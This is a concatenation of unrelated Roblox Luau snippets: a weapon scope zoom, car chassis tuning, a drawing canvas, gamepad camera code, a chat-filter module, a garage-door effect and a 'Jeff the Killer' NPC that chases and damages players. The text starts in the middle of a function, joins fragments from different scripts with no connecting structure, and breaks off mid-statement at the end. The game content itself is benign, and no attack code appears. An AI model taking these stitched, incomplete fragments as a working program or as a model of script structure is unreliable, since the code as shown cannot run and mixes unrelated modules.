game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveS AimDown = true game:GetService("Debris"):addItem(zoomsound,5) else TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play() CrosshairModule:setcrossscale(1) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic UserInputService.MouseDeltaSensitivity = InitialSensitivity AimDown = false end end)
--Set braking torque and stop back 2 wheels
function Chassis.EnableHandbrake() setMotorMaxAcceleration(math.huge) Motors[3].MotorMaxTorque = ActualBrakingTorque Motors[4].MotorMaxTorque = ActualBrakingTorque Motors[3].AngularVelocity = 0 Motors[4].AngularVelocity = 0 end
--[[Steering]]
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .03 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--Variables
local uis = game:GetService("UserInputService") local mouse = game.Players.LocalPlayer:GetMouse() local down = false local canvas = script.Parent.CanvasFrame local brushSettings = script.Parent.BrushSettingsFrame local cursor = canvas.Cursor local erasing = false local currentSize = 10 local currentColor = Color3.fromRGB(0, 0, 0) brushSettings.BrushButton.BackgroundColor3 = Color3.fromRGB(200, 200, 200) brushSettings.ColorBox.Text = math.floor(currentColor.R * 255 + 0.5) .. ", " .. math.floor(currentColor.G * 255 + 0.5) .. ", " .. math.floor(currentColor.B * 255 + 0.5) brushSettings.PaintImage.Size = UDim2.new(0, currentSize, 0, currentSize) brushSettings.PaintImage.ImageColor3 = currentColor local paintContainer = Instance.new("Folder", canvas)
-- This script is compatible with the new collision group updates as of 2023. (However, this script does NOT work before late 2022, since it uses methods featured in a 2023 update)
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="[" then look=50 elseif key=="]" then if intcam then look=160 else look=180 end elseif key=="\\" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="[" and look==50 then look=0 elseif key=="]" and (look==160 or look==180) then look=0 elseif key=="\\" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) local hum = plr.Character.Humanoid for i = 1,10 do wait() hum.CameraOffset = Vector3.new(math.random(-0.5,0.5),math.random(-0.5,0.5),math.random(-0.5,0.5)) end hum.CameraOffset = Vector3.new(0,0,0) wait(.5) Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false wait(.5) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
--!strict
export type Object = { [string]: any } return { assign = require(script.assign), entries = require(script.entries), freeze = require(script.freeze), is = require(script.is), isFrozen = require(script.isFrozen), keys = require(script.keys), preventExtensions = require(script.preventExtensions), seal = require(script.seal), values = require(script.values), -- Special marker type used in conjunction with `assign` to remove values -- from tables, since nil cannot be stored in a table None = require(script.None), }
-------- CONFIG -- ENABLERS (do not touch yet)
local Popups_Enabled = false -- Enables popups. (refer to "Instructions" for installation) local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation) local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false) local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model) local Plate_Lights = false -- Enables license plate lights. local Interior_Lights = false -- Enables interior lights. (Not Working Yet) local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet) local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet) local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)
--Collision
character.HumanoidRootPart.CanCollide = false character.RightLowerArm.CollisionGroupId = 0 character.LeftLowerArm.CollisionGroupId = 0 character.RightLowerLeg.CollisionGroupId = 0 character.LeftLowerLeg.CollisionGroupId = 0 wait(0.2)
--[[ DON'T TOUCH BELOW OR WONT WORK! ]]
-- script.Parent.DataSavingScript.Parent = game:GetService("ServerScriptService") script.Parent:Destroy() script.Parent = nil
--
function Raycast.FindPartOnRay(ray, ignore, terrainCellsAreCubes, ignoreWater) return WORKSPACE:FindPartOnRay(ray, ignore, terrainCellsAreCubes, ignoreWater) end function Raycast.FindPartOnRayWithIgnoreList(ray, ignoreList, terrainCellsAreCubes, ignoreWater) return WORKSPACE:FindPartOnRayWithIgnoreList(ray, ignoreList, terrainCellsAreCubes, ignoreWater) end function Raycast.FindPartOnRayWithWhiteList(ray, whiteList, terrainCellsAreCubes, ignoreWater) return WORKSPACE:FindPartOnRayWithWhitelist(ray, whiteList, terrainCellsAreCubes, ignoreWater) end
--This module is for any client FX related to the garage debris
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) local InitialModelCFrames = {} function DoorFX.OPEN(door) if not door then return end for _, v in pairs(door:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then v.CanCollide = false end end local EffectsBrick = door:WaitForChild("Effects") local Effects = EffectsBrick:GetChildren() for _, Item in pairs (Effects) do if Item.Name == "Unlock" then Item:Play() continue end if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then Item.Enabled = true end end local Components = door:GetChildren() for _, Component in pairs (Components) do if not Component:IsA("Model") then continue end InitialModelCFrames[Component] = Component.PrimaryPart.CFrame local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-1,1),3,math.random(-1,1))) * CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360))) local TweenInf = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.In) tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}):Play() end wait(1) for _, Component in pairs (Components) do if not Component:IsA("Model") then continue end local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-20,20),50,math.random(-20,20))) * CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360))) local TweenInf = TweenInfo.new(2, Enum.EasingStyle.Linear) local Tween = tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}) Tween:Play() local Event = nil Event = Tween.Completed:Connect(function() Event:Disconnect() Component.PrimaryPart.CFrame = Component.PrimaryPart.CFrame - Vector3.new(0, 300, 0) end) end wait(.5) for _, Item in pairs (Effects) do if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then Item.Enabled = false end end end function DoorFX.CLOSE(door) if not door then return end local Components = door:GetChildren() for _, Component in pairs (Components) do if Component:IsA("Model") then Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame --this errors when the module is called for some reason so thats why its like that end end end return DoorFX
-- Initialize the tool
local ResizeTool = { Name = 'Resize Tool'; Color = BrickColor.new 'Cyan'; -- Default options Increment = 1; Directions = 'Normal'; };
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message, textFilterContext) --// USES FFLAG local alwaysRunFilter = false local runFilter = RunService:IsServer() and not RunService:IsStudio() if (alwaysRunFilter or runFilter) then local fromSpeaker = self:GetSpeaker(speakerName) if fromSpeaker == nil then return false, nil, nil end local fromPlayerObj = fromSpeaker:GetPlayer() if fromPlayerObj == nil then return true, false, message end local success, filterResult = pcall(function() local ts = game:GetService("TextService") local result = ts:FilterStringAsync(message, fromPlayerObj.UserId, textFilterContext) return result end) if (success) then return true, true, filterResult else warn("Error filtering message:", message, filterResult) self:InternalNotifyFilterIssue() return false, nil, nil end end --// Simulate filtering latency. wait() return true, false, message end function methods:InternalDoMessageFilter(speakerName, messageObj, channel) local filtersIterator = self.FilterMessageFunctions:GetIterator() for funcId, func, priority in filtersIterator do local success, errorMessage = pcall(function() func(speakerName, messageObj, channel) end) if not success then warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage)) end end end function methods:InternalDoProcessCommands(speakerName, message, channel) local commandsIterator = self.ProcessCommandsFunctions:GetIterator() for funcId, func, priority in commandsIterator do local success, returnValue = pcall(function() local ret = func(speakerName, message, channel) if type(ret) ~= "boolean" then error("Process command functions must return a bool") end return ret end) if not success then warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue)) elseif returnValue then return true end end return false end function methods:InternalGetUniqueMessageId() local id = self.MessageIdCounter self.MessageIdCounter = id + 1 return id end function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded) if (self.Speakers[speakerName:lower()]) then error("Speaker \"" .. speakerName .. "\" already exists!") end local speaker = Speaker.new(self, speakerName) speaker:InternalAssignPlayerObject(playerObj) self.Speakers[speakerName:lower()] = speaker if fireSpeakerAdded then local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error adding speaker: " ..err) end end return speaker end function methods:InternalFireSpeakerAdded(speakerName) local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error firing speaker added: " ..err) end end
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(5000); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<15 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>15 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=22; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=1300; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then 